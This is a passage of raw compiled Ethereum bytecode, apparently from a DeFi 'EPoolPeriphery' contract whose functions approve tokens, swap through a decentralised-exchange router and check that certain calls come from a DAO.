40518263ffffffff1660e01b81526004016103189190614dc5565b915091506000866001600160a01b031663978bbdb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561079057600080fd5b505afa1580156107a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c89190614cca565b9050670de0b6b3a76400006107dd828561519a565b6107e7919061517a565b6107f190846151f8565b9250670de0b6b3a7640000610806828461519a565b610810919061517a565b61081a90836151f8565b6040805160028082526060820183529294506000929091602083019080368337019050509050876001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b15801561087957600080fd5b505afa15801561088d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b191906149a8565b816000815181106108d257634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050876001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561092b57600080fd5b505afa15801561093f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096391906149a8565b8160018151811061098457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260405163d06ca61f60e01b81527f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f9091169063d06ca61f906109e29087908590600401615026565b60006040518083038186803b1580156109fa57600080fd5b505afa158015610a0e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a369190810190614af8565b600181518110610a5657634e487b7160e01b600052603260045260246000fd5b602002602001015183610a699190615162565b98975050505050505050565b6001600160a01b03851660009081526001602052604081205460ff16610ab65760405162461bcd60e51b8152600401610aad90614e94565b60405180910390fd5b600080876001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b158015610af257600080fd5b505afa158015610b06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2a91906149a8565b886001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6357600080fd5b505afa158015610b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9b91906149a8565b9092509050610bb56001600160a01b038316333088614029565b6040516358b8210560e11b81526000906001600160a01b038a169063b170420a90610be4908b90600401614dc5565b60a06040518083038186803b158015610bfc57600080fd5b505afa158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c349190614c97565b9050600080610d59838a8d6001600160a01b031663679aefce6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7757600080fd5b505afa158015610c8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610caf9190614cca565b8e6001600160a01b0316632935ef676040518163ffffffff1660e01b815260040160206040518083038186803b158015610ce857600080fd5b505afa158015610cfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d209190614cca565b8f6001600160a01b031663425f92cd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561048457600080fd5b9150915081881015610d7d5760405162461bcd60e51b8152600401610aad90614ec9565b6000610d89838a6151f8565b60408051600280825260608201835292935060009290916020830190803683370190505090508681600081518110610dd157634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250508581600181518110610e1357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260405163095ea7b360e01b81529088169063095ea7b390610e70907f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f908690600401614e17565b602060405180830381600087803b158015610e8a57600080fd5b505af1158015610e9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec29190614b88565b5060007f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f6001600160a01b0316638803dbee858585308f6040518663ffffffff1660e01b8152600401610f1995949392919061503f565b600060405180830381600087803b158015610f3357600080fd5b505af1158015610f47573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f6f9190810190614af8565b90508d6001600160a01b031663d6c8578e8e8e6040518363ffffffff1660e01b8152600401610f9f929190614e17565b6040805180830381600087803b158015610fb857600080fd5b505af1158015610fcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff09190614ce2565b5061100790506001600160a01b038e16338e614087565b61105b338260008151811061102c57634e487b7160e01b600052603260045260246000fd5b6020026020010151878e61104091906151f8565b61104a91906151f8565b6001600160a01b038b169190614087565b8c6001600160a01b03168e6001600160a01b03167fd858d811a788f94d2dd517266f495a17fe2bf01222ec01ef5a6b9863062db9998e8888336040516110a494939291906150a8565b60405180910390a35060019d9c50505050505050505050505050565b6000806110cf83850185614c6c565b6001600160a01b038216600090815260016020526040902054919350915060ff1661110c5760405162461bcd60e51b8152600401610aad90614e94565b6000806000846001600160a01b031663f4993018856040518263ffffffff1660e01b815260040161113d919061501d565b608060405180830381600087803b15801561115757600080fd5b505af115801561116b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118f9190614d05565b5060408051600280825260608201835294975092955090935060009290602083019080368337019050509050600080836113ef57876001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b1580156111fc57600080fd5b505afa158015611210573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123491906149a8565b8360008151811061125557634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050876001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156112ae57600080fd5b505afa1580156112c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e691906149a8565b8360018151811061130757634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526040516307c0329d60e21b81527f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f90911690631f00ca74906113659088908790600401615026565b60006040518083038186803b15801561137d57600080fd5b505afa158015611391573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526113b99190810190614af8565b6000815181106113d957634e487b7160e01b600052603260045260246000fd5b6020026020010151868092508193505050611617565b876001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561142857600080fd5b505afa15801561143c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146091906149a8565b8360008151811061148157634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050876001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b1580156114da57600080fd5b505afa1580156114ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151291906149a8565b8360018151811061153357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526040516307c0329d60e21b81527f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f90911690631f00ca74906115919089908790600401615026565b60006040518083038186803b1580156115a957600080fd5b505afa1580156115bd573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526115e59190810190614af8565b60008151811061160557634e487b7160e01b600052603260045260246000fd5b60200260200101518580925081935050505b808211156117365760025481611635670de0b6b3a76400008561519a565b61163f919061517a565b111561165d5760405162461bcd60e51b8152600401610aad90614fdb565b7f000000000000000000000000d45ee2f2b70df3b7fb5e9f1053a38205cffca0586001600160a01b031663d98f0411846000815181106116ad57634e487b7160e01b600052603260045260246000fd5b602002602001015183856116c191906151f8565b6040518363ffffffff1660e01b81526004016116de929190614e17565b602060405180830381600087803b1580156116f857600080fd5b505af115801561170c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117309190614b88565b506117ad565b808210156117ad576117ad7f000000000000000000000000d45ee2f2b70df3b7fb5e9f1053a38205cffca05861176c84846151f8565b8560008151811061178d57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166140879092919063ffffffff16565b6117d333838560008151811061178d57634e487b7160e01b600052603260045260246000fd5b50505050505050505050505050565b600080846001600160a01b031663b170420a856040518263ffffffff1660e01b81526004016118119190614dc5565b60a06040518083038186803b15801561182957600080fd5b505afa15801561183d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118619190614c97565b90506000856001600160a01b031663679aefce6040518163ffffffff1660e01b815260040160206040518083038186803b15801561189e57600080fd5b505afa1580156118b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d69190614cca565b90506000866001600160a01b0316632935ef676040518163ffffffff1660e01b815260040160206040518083038186803b15801561191357600080fd5b505afa158015611927573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194b9190614cca565b90506000876001600160a01b031663425f92cd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561198857600080fd5b505afa15801561199c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c09190614cca565b905060006119d0858585856140ab565b90506000806119e28984888888614174565b915091506119f487838389898961420d565b9750505050505050505b9392505050565b60016020526000908152604090205460ff1681565b6000546001600160a01b031690565b60025481565b60006040518060600160405280602381526020016152c360239139600054604051632bb66c8160e11b81526001600160a01b039091169063576cd90290611a7a903390600401614dc5565b60206040518083038186803b158015611a9257600080fd5b505afa158015611aa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aca9190614b88565b8190611ae95760405162461bcd60e51b8152600401610aad9190614e3b565b508215611d0157836001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b158015611b2957600080fd5b505afa158015611b3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b6191906149a8565b6001600160a01b031663095ea7b3856000196040518363ffffffff1660e01b8152600401611b90929190614e17565b602060405180830381600087803b158015611baa57600080fd5b505af1158015611bbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611be29190614b88565b50836001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b158015611c1c57600080fd5b505afa158015611c30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c5491906149a8565b6001600160a01b031663095ea7b3856000196040518363ffffffff1660e01b8152600401611c83929190614e17565b602060405180830381600087803b158015611c9d57600080fd5b505af1158015611cb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cd59190614b88565b506001600160a01b0384166000908152600160208190526040909120805460ff19169091179055611f06565b836001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b158015611d3a57600080fd5b505afa158015611d4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d7291906149a8565b6001600160a01b031663095ea7b38560006040518363ffffffff1660e01b8152600401611da0929190614e17565b602060405180830381600087803b158015611dba57600080fd5b505af1158015611dce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611df29190614b88565b50836001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b158015611e2c57600080fd5b505afa158015611e40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e6491906149a8565b6001600160a01b031663095ea7b38560006040518363ffffffff1660e01b8152600401611e92929190614e17565b602060405180830381600087803b158015611eac57600080fd5b505af1158015611ec0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee49190614b88565b506001600160a01b0384166000908152600160205260409020805460ff191690555b836001600160a01b03167f36110d300c0361d81d13e1816828a532a7119d19d23d5a72bb6174959090ef2084604051611f3f9190614e30565b60405180910390a25060019392505050565b60006040518060400160405280600e81526020016d45506f6f6c3a206e6f742064616f60901b81525060008054906101000a90046001600160a01b03166001600160a01b0316634162169f6040518163ffffffff1660e01b815260040160206040518083038186803b158015611fc657600080fd5b505afa158015611fda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ffe91906149a8565b6001600160a01b0316336001600160a01b03161481906120315760405162461bcd60e51b8152600401610aad9190614e3b565b506120466001600160a01b0385163385614087565b7f6de8b63479ce07cf2dfc515e20a5c88a3a5bab6cbd76f753388b77e244ca70718484604051612077929190614e17565b60405180910390a15060019392505050565b6001600160a01b03851660009081526001602052604081205460ff166120c15760405162461bcd60e51b8152600401610aad90614e94565b600080876001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b1580156120fd57600080fd5b505afa158015612111573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061213591906149a8565b886001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561216e57600080fd5b505afa158015612182573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121a691906149a8565b90925090506121c06001600160a01b038816333089614029565b60405163095ea7b360e01b81526001600160a01b0388169063095ea7b3906121ee908b908a90600401614e17565b602060405180830381600087803b15801561220857600080fd5b505af115801561221c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122409190614b88565b50600080896001600160a01b03166396a1c66f8a8a6040518363ffffffff1660e01b8152600401612272929190614e17565b6040805180830381600087803b15801561228b57600080fd5b505af115801561229f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122c39190614ce2565b60408051600280825260608201835293955091935060009290602083019080368337019050509050848160008151811061230d57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811061234f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260405163095ea7b360e01b81529086169063095ea7b3906123ac907f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f908790600401614e17565b602060405180830381600087803b1580156123c657600080fd5b505af11580156123da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123fe9190614b88565b506040516338ed173960e01b81526000906001600160a01b037f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f16906338ed1739906124569087908590879030908f9060040161503f565b600060405180830381600087803b15801561247057600080fd5b505af1158015612484573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526124ac9190810190614af8565b90506000816001815181106124d157634e487b7160e01b600052603260045260246000fd5b6020026020010151846124e49190615162565b9050898110156125065760405162461bcd60e51b8152600401610aad90614f10565b61251a6001600160a01b0387163383614087565b8b6001600160a01b03168d6001600160a01b03167f4a113d20458ea4526216176713e9b53b289c4b76d33427c850f8279c012b57e38d88883360405161256394939291906150a8565b60405180910390a35060019c9b505050505050505050505050565b600080846001600160a01b031663b170420a856040518263ffffffff1660e01b81526004016125ad9190614dc5565b60a06040518083038186803b1580156125c557600080fd5b505afa1580156125d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125fd9190614c97565b90506000856001600160a01b031663679aefce6040518163ffffffff1660e01b815260040160206040518083038186803b15801561263a57600080fd5b505afa15801561264e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126729190614cca565b90506000866001600160a01b0316632935ef676040518163ffffffff1660e01b815260040160206040518083038186803b1580156126af57600080fd5b505afa1580156126c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126e79190614cca565b90506000876001600160a01b031663425f92cd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561272457600080fd5b505afa158015612738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061275c9190614cca565b9050600061276c858585856140ab565b90506000806119e28984888888614370565b60008060006127b2866001600160a01b031663b170420a876040518263ffffffff1660e01b81526004016103189190614dc5565b60408051600280825260608201835293955091935060009290602083019080368337019050509050866001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b15801561281357600080fd5b505afa158015612827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061284b91906149a8565b8160008151811061286c57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050866001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156128c557600080fd5b505afa1580156128d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128fd91906149a8565b8160018151811061291e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526040516307c0329d60e21b81527f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f90911690631f00ca749061297c9085908590600401615026565b60006040518083038186803b15801561299457600080fd5b505afa1580156129a8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526129d09190810190614af8565b6000815181106129f057634e487b7160e01b600052603260045260246000fd5b6020026020010151836107129190615162565b60006040518060600160405280602381526020016152c360239139600054604051632bb66c8160e11b81526001600160a01b039091169063576cd90290612a4e903390600401614dc5565b60206040518083038186803b158015612a6657600080fd5b505afa158015612a7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a9e9190614b88565b8190612abd5760405162461bcd60e51b8152600401610aad9190614e3b565b5060028390556040517f0643d67fca12c9df31681eb40c77a7af653ff2111856476f8025530321e4a4f190612af390859061501d565b60405180910390a150600192915050565b60006040518060400160405280601781526020017f45506f6f6c5065726970686572793a206e6f742064616f00000000000000000081525060008054906101000a90046001600160a01b03166001600160a01b0316634162169f6040518163ffffffff1660e01b815260040160206040518083038186803b158015612b8857600080fd5b505afa158015612b9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bc091906149a8565b6001600160a01b0316336001600160a01b0316148190612bf35760405162461bcd60e51b8152600401610aad9190614e3b565b50612bfd836143fd565b50600192915050565b6001600160a01b03851660009081526001602052604081205460ff16612c3e5760405162461bcd60e51b8152600401610aad90614e94565b600080876001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b158015612c7a57600080fd5b505afa158015612c8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cb291906149a8565b886001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b158015612ceb57600080fd5b505afa158015612cff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d2391906149a8565b9092509050612d3d6001600160a01b038816333089614029565b60405163095ea7b360e01b81526001600160a01b0388169063095ea7b390612d6b908b908a90600401614e17565b602060405180830381600087803b158015612d8557600080fd5b505af1158015612d99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dbd9190614b88565b50600080896001600160a01b03166396a1c66f8a8a6040518363ffffffff1660e01b8152600401612def929190614e17565b6040805180830381600087803b158015612e0857600080fd5b505af1158015612e1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e409190614ce2565b604080516002808252606082018352939550919350600092906020830190803683370190505090508381600081518110612e8a57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250508481600181518110612ecc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260405163095ea7b360e01b81529085169063095ea7b390612f29907f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f908690600401614e17565b602060405180830381600087803b158015612f4357600080fd5b505af1158015612f57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f7b9190614b88565b506040516338ed173960e01b81526000906001600160a01b037f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f16906338ed173990612fd39086908590879030908f9060040161503f565b600060405180830381600087803b158015612fed57600080fd5b505af1158015613001573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130299190810190614af8565b905060008160018151811061304e57634e487b7160e01b600052603260045260246000fd5b6020026020010151856130619190615162565b9050898110156130835760405162461bcd60e51b8152600401610aad90614f10565b61251a6001600160a01b0388163383614087565b7f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac81565b6001600160a01b03851660009081526001602052604081205460ff166130f35760405162461bcd60e51b8152600401610aad90614e94565b600080876001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b15801561312f57600080fd5b505afa158015613143573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061316791906149a8565b886001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156131a057600080fd5b505afa1580156131b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131d891906149a8565b90925090506131f26001600160a01b038216333088614029565b6040516358b8210560e11b81526000906001600160a01b038a169063b170420a90613221908b90600401614dc5565b60a06040518083038186803b15801561323957600080fd5b505afa15801561324d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132719190614c97565b90506000806132b4838a8d6001600160a01b031663679aefce6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7757600080fd5b91509150808810156132d85760405162461bcd60e51b8152600401610aad90614ec9565b60006132e4828a6151f8565b6040805160028082526060820183529293506000929091602083019080368337019050509050858160008151811061332c57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050868160018151811061336e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260405163095ea7b360e01b81529087169063095ea7b3906133cb907f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f908690600401614e17565b602060405180830381600087803b1580156133e557600080fd5b505af11580156133f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061341d9190614b88565b5060007f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f6001600160a01b0316638803dbee868585308f6040518663ffffffff1660e01b815260040161347495949392919061503f565b600060405180830381600087803b15801561348e57600080fd5b505af11580156134a2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526134ca9190810190614af8565b90508d6001600160a01b031663d6c8578e8e8e6040518363ffffffff1660e01b81526004016134fa929190614e17565b6040805180830381600087803b15801561351357600080fd5b505af1158015613527573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061354b9190614ce2565b5061356290506001600160a01b038e16338e614087565b61105b338260008151811061358757634e487b7160e01b600052603260045260246000fd5b6020026020010151868e61359b91906151f8565b6135a591906151f8565b6001600160a01b038a169190614087565b6001600160a01b03821660009081526001602052604081205460ff166135ee5760405162461bcd60e51b8152600401610aad90614e94565b600080846001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b15801561362a57600080fd5b505afa15801561363e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061366291906149a8565b856001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561369b57600080fd5b505afa1580156136af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136d391906149a8565b9150915060008060006138ac886001600160a01b031663dc2f511b6040518163ffffffff1660e01b815260040160006040518083038186803b15801561371857600080fd5b505afa15801561372c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526137549190810190614a55565b896001600160a01b031663679aefce6040518163ffffffff1660e01b815260040160206040518083038186803b15801561378d57600080fd5b505afa1580156137a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137c59190614cca565b8a6001600160a01b0316632935ef676040518163ffffffff1660e01b815260040160206040518083038186803b1580156137fe57600080fd5b505afa158015613812573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138369190614cca565b8b6001600160a01b031663425f92cd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561386f57600080fd5b505afa158015613883573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138a79190614cca565b614453565b5092509250925060007f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac6001600160a01b031663e6a4390587876040518363ffffffff1660e01b8152600401613903929190614dd9565b60206040518083038186803b15801561391b57600080fd5b505afa15801561392f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061395391906149a8565b9050600080836139fc57826001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561399657600080fd5b505afa1580156139aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139ce91906149a8565b6001600160a01b0316886001600160a01b0316146139ee578460006139f2565b6000855b9092509050613a97565b826001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015613a3557600080fd5b505afa158015613a49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a6d91906149a8565b6001600160a01b0316886001600160a01b031614613a8d57600086613a91565b8560005b90925090505b60008b8b604051602001613aac929190614e17565b60408051601f198184030181529082905263022c0d9f60e01b825291506001600160a01b0385169063022c0d9f90613aee90869086903090879060040161507b565b600060405180830381600087803b158015613b0857600080fd5b505af1158015613b1c573d6000803e3d6000fd5b5060019f9e505050505050505050505050505050565b7f000000000000000000000000d45ee2f2b70df3b7fb5e9f1053a38205cffca05881565b6000806000613b8a866001600160a01b031663b170420a876040518263ffffffff1660e01b81526004016103189190614dc5565b915091506000866001600160a01b031663978bbdb96040518163ffffffff1660e01b815260040160206040518083038186803b158015613bc957600080fd5b505afa158015613bdd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c019190614cca565b9050670de0b6b3a7640000613c16828561519a565b613c20919061517a565b613c2a90846151f8565b9250670de0b6b3a7640000613c3f828461519a565b613c49919061517a565b613c5390836151f8565b6040805160028082526060820183529294506000929091602083019080368337019050509050876001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b158015613cb257600080fd5b505afa158015613cc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613cea91906149a8565b81600081518110613d0b57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050876001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b158015613d6457600080fd5b505afa158015613d78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d9c91906149a8565b81600181518110613dbd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260405163d06ca61f60e01b81527f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f9091169063d06ca61f90613e1b9086908590600401615026565b60006040518083038186803b158015613e3357600080fd5b505afa158015613e47573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613e6f9190810190614af8565b600181518110613e8f57634e487b7160e01b600052603260045260246000fd5b602002602001015184610a699190615162565b7f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f81565b60008086606001518760400151613edd9190615162565b613f30576020870151600090613ef3868961519a565b613efd919061517a565b9050613f2485613f0d838061519a565b613f17919061517a565b8960800151888888614370565b909350915061401f9050565b600087600001516001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015613f6f57600080fd5b505afa158015613f83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fa79190614cca565b905080613fbb57600080925092505061401f565b600081896020015189613fce919061519a565b613fd8919061517a565b90508860200151896040015182613fef919061519a565b613ff9919061517a565b93508860200151896060015182614010919061519a565b61401a919061517a565b925050505b9550959350505050565b614081846323b872dd60e01b85858560405160240161404a93929190614df3565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915261459f565b50505050565b6140a68363a9059cbb60e01b848460405160240161404a929190614e17565b505050565b60008460400151600014806140c257506060850151155b1561410e5760408501511580156140db57506060850151155b156140eb5750608084015161416c565b60408501516140fc5750600061416c565b606085015161410e575060001961416c565b81670de0b6b3a76400008660600151614127919061519a565b614131919061517a565b670de0b6b3a76400008486886040015161414b919061519a565b614155919061517a565b61415f919061519a565b614169919061517a565b90505b949350505050565b600080848461418b88670de0b6b3a7640000615162565b888661419f670de0b6b3a76400008d61519a565b6141a9919061517a565b6141b3919061519a565b6141bd919061517a565b6141c7919061519a565b6141d1919061517a565b91506141e586670de0b6b3a7640000615162565b6141f7670de0b6b3a76400008961519a565b614201919061517a565b90509550959350505050565b60008061421d878787878761462e565b9050876060015188604001516142339190615162565b61426c576020880151614264908561424b828561519a565b614255919061517a565b61425f919061519a565b614683565b915050614366565b600061428389604001518a6060015188888861462e565b90506000858a6020015183614298919061519a565b6142a2919061517a565b60208b0151876142b2828761519a565b6142bc919061517a565b6142c6919061519a565b6142d0919061517a565b905089602001518a600001516001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561431457600080fd5b505afa158015614328573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061434c9190614cca565b614356908361519a565b614360919061517a565b93505050505b9695505050505050565b60008061438586670de0b6b3a7640000615162565b614397670de0b6b3a76400008961519a565b6143a1919061517a565b6143ab90886151f8565b9150670de0b6b3a7640000836143c18883615162565b87876143d5670de0b6b3a76400008d61519a565b6143df919061517a565b6143e9919061519a565b6143f3919061517a565b6141f7919061519a565b600080546001600160a01b0319166001600160a01b0383161790556040517f4ff638452bbf33c012645d18ae6f05515ff5f2d1dfb0cece8cbf018c60903f7090614448908390614dc5565b60405180910390a150565b6000808080808080805b8b5181101561452f578b818151811061448657634e487b7160e01b600052603260045260246000fd5b6020026020010151604001518461449d9190615162565b935060008060006144d78f85815181106144c757634e487b7160e01b600052603260045260246000fd5b60200260200101518f8f8f6146f3565b925092509250806000146144fe576144ef8387615121565b6144f983876151b9565b614512565b61450883876151b9565b6145128387615121565b9096509450839250614527915082905061523b565b91505061445d565b506000821315614551578161454382615256565b909750955060019450614564565b61455a82615256565b9650945060009350845b821561458c578261457d670de0b6b3a76400008961519a565b614587919061517a565b61458f565b60005b9350505050945094509450949050565b60006145f4826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166147c29092919063ffffffff16565b8051909150156140a657808060200190518101906146129190614b88565b6140a65760405162461bcd60e51b8152600401610aad90614f91565b6000670de0b6b3a764000083858285614647828b61519a565b614651919061517a565b61465b919061519a565b614665919061517a565b61466f919061519a565b614679919061517a565b6143669087615162565b600060038211156146e4575080600061469d60028361517a565b6146a8906001615162565b90505b818110156146de579050806002816146c3818661517a565b6146cd9190615162565b6146d7919061517a565b90506146ab565b506146ee565b81156146ee575060015b919050565b60008060008660800151614709888888886140ab565b10614715576000614718565b60015b60ff169050670de0b6b3a7640000858860800151614736919061519a565b614740919061517a565b61474a9086615162565b8561476d89604001516147688b606001518c608001518c8c8c6147d1565b61481c